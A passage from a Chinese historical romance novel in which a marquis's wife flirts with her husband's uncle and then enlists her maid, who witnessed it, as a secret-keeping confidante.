“和三叔在一起,我感觉很轻松,什麽都不会多想,什麽都不用多做,只要静静地呆在三叔的身边,心里就有满满的快乐。”这样的回答,不知道傅画沂可否满意?

“呵呵。”傅画沂眼眸里的光亮一荡,暖暖地笑了几声,“你这是在和我说甜言蜜语吗?”

“嗯?”我愣了愣,用绢子捂嘴一笑,“呵呵。”

突然,风一刮,竟把浅红色的绢子吹到脸上去了。我不知道此刻的自己是怎麽个样子,但当我抬眼,见傅画沂望著我发愣的表情时,我立时明白,风刮绢子的那一刻,我的容颜定是极美丽的。

虽然,只要是个女人都不会希望一个男人是因为美貌才喜欢自己的,但是,我却又不得不承认,在最初的时候,若没有好看的皮囊,像他们这样的贵公子们是绝不会注意到我的。

“三叔,三叔,三叔?”我连续叫了他好几声,他才悠悠地从怔愣中清醒过来。

随後,他缓缓地伸出手来,上下轻轻地抚摸我的左边鼻梁处,柔了柔眸光,笑叹道,“这三个浅褐色的雀斑,生在你白白嫩嫩的小脸上真是好看。”

“三叔玩笑了,哪有人认为脸上长雀斑好看了?”

傅画沂随後又道,“这三个雀斑,让你看起来好调皮的样子。我还从来没见过谁人能够把雀斑生的这样好看的。”

“三叔的审美观还真是与此不同。”听了他的话,我心头一荡,像吃了蜜一样的甜。因为这三个雀斑是我亲手加到木槿的脸上去的,可谓是我的得意之作。

傅画沂愣了愣,随後笑问,“何为审美观?”

“嗯,就是对事物美与丑的看法。”我简单化的解释了这三个字。

一阵风从他身後吹来,从他身上刮来一股香味,这香味,我说不出名堂来,只觉得它沁人心脾,十分好闻。

虽然和他抱在一起很多次了,却因为心里只想著怎麽讨好他,倒把自己的感觉给忽视掉了,今儿闻了,才发觉自己一直因为压力,没有心情认真去享受美男带给人的美妙滋味。

“怎麽突然变得呆呆的?”性感的声音从我的头顶上飘下来。

“啊。”我抬眼,这时傅画沂的脸近在我眼前,我不由地又呆住了,相较於傅雁竹柔软如水的妖异脸蛋,傅画沂的漂亮更让我心神荡漾。他的美是朝堂风云的沧桑睿智,是运筹帷幄的气质恢宏,更是一种岁月沈积的英俊潇洒。

……

☆☆

从雪地里回去後,我发现琥珀一整天做事情总是魂不守舍的,她心中好像藏了一个天大的秘密似的。

我拧起了眉,这丫头做事情向来利索,今儿这是怎麽了?

我的直觉告诉我,能让琥珀如此反常的,一定是大事。

我把手中的绣花针别在绣了一半的花里头,抬眼说道,“琥珀,随我出去摘几枝梅花回来插瓶子。”

坐在椅子上看书的傅雁竹抬眼睨了我一眼,蹙眉道,“刚才出去的时候怎麽不摘?”

我眨了眨眼,道,“忘了摘。”

傅雁竹抬眼看向窗外,道,“雪下的越发的大了,不要出去了。”

我一边自己动手披上大红猩猩毡的斗篷,一边回头笑著回答,“雪下大了才好,踏雪寻梅,别有一翻滋味。”

傅雁竹神色阴郁地盯著我的脸看,一副很不高兴的样子。“我说不许出去,就不许去。”

我走到他的身边蹲下身子,摇了摇他的衣摆,软软地求著他,“侯爷,我就出去一小会儿,很快就回来了,行不行?”其实,傅雁竹这人除了脾气坏了一点,嘴巴毒了一点,行为乖张了一点,为人不好相处了一点,对我的态度尖酸刻薄了一点,一般的时候,我随便在侯府里乱逛或者到各房去窜门子,他都不会过问的。在侯府里,除了时时受他的气外,可以说,我生活的很自由。

“我记得你每次出去都是带著珍珠的。”傅雁竹眯眼看著我。

呃?我比较重用珍珠的事,傅雁竹也知道?

我吸了口口水,道,“珍珠今儿个脸色不好,我这个做主子的应该体谅她一下。侯爷,您就让我出去摘几枝梅花回来吧,求您了。”根据我很多次的实验和观察,我晓得傅雁竹是个吃软不吃硬的主儿,软软的求了他一翻,他心里一舒畅,一般情况他都会依了我。

“哼。”傅雁竹轻哼了一声,算是答应了。

“谢侯爷。”我立马站起身来,带著琥珀就出门去了。

走在雪地上,我转头问正低头搀著我的手的琥珀,“你今儿是怎麽了?做起事来,魂不守舍的?”

琥珀脸色一白,翕动了几下唇瓣,抿著嘴,就是不肯说话。

看她这样子,我确定了她定是有事瞒著我了。

我叹息一声,道,“这里没旁的人,你心里藏了有什麽事,说吧。”

“夫人,我,我……我今天,今天看到三老爷摸、摸夫人的脸。”

“……”刹那,我惊得头皮发麻。

“夫人,我不是有意要跟著你的,因为今早儿雪下大了,我担心夫人才会出来找夫人的……”

过了好一阵子,我才缓过神来,双眸静静地盯著琥珀看,道,“琥珀,你是我的陪嫁丫头,我若不好,你的下场也不会好。这样的事情,你最好烂在肚子里。明白了吗?”

琥珀扑通一声跪在雪地上,眼眸坚定地望著我,道,“我若要背叛夫人,刚夫人问我,我就不会把这件事情说出来。”

“起来说话。”若是让人看到我的丫头跪在雪地说话,还指不定会传出什麽麽蛾子。

“是。”琥珀颤巍巍地站起身来。

我盯著她的眼睛,冷冷说道,“今儿你是故意做事频频出错,目的,是要引起我的注意吧。”

琥珀沈默了许久,才应了一声“是。”

“说说你这样做的最终目的吧。”我懒得拐弯抹角的说话,直接了当地问出我心中的问题。

琥珀吸了吸气,然後抬眼,用坚定的眼神看著我,道,“我想和珍珠姐姐一样,成为夫人身边得用的人。”

我定定地望向她,仿佛今日才认识眼前这个丫鬟一样。

琥珀见我许久不说话,急急地道,“我做的到绝对的忠诚,还请夫人给我一个机会。”

我淡淡道,“忠诚不忠诚,不是用嘴巴说说就行。”

琥珀脸色又苍白了一些。

本是要好好的敲打她一翻,可见了她越发苍白的小脸,我不禁又起了怜惜之心,不由心软道,“其实,要成为我身边得用的人很简单,只要你办事机灵又守得住秘密。”

本来我也想找个能帮忙把风的丫鬟,现在琥珀自己跳出来了,我就不用找了。

琥珀脸上一喜,连忙保证道,“夫人,这些我做的到。”

我静静盯著她的眼睛,再道,“如果你做的不好,那麽你就会有生命危险。你,想好真要做我身边‘最’得用的人了。”说话时,我加重了“最”的发音。

“琥珀想清楚了。谢夫人重用。”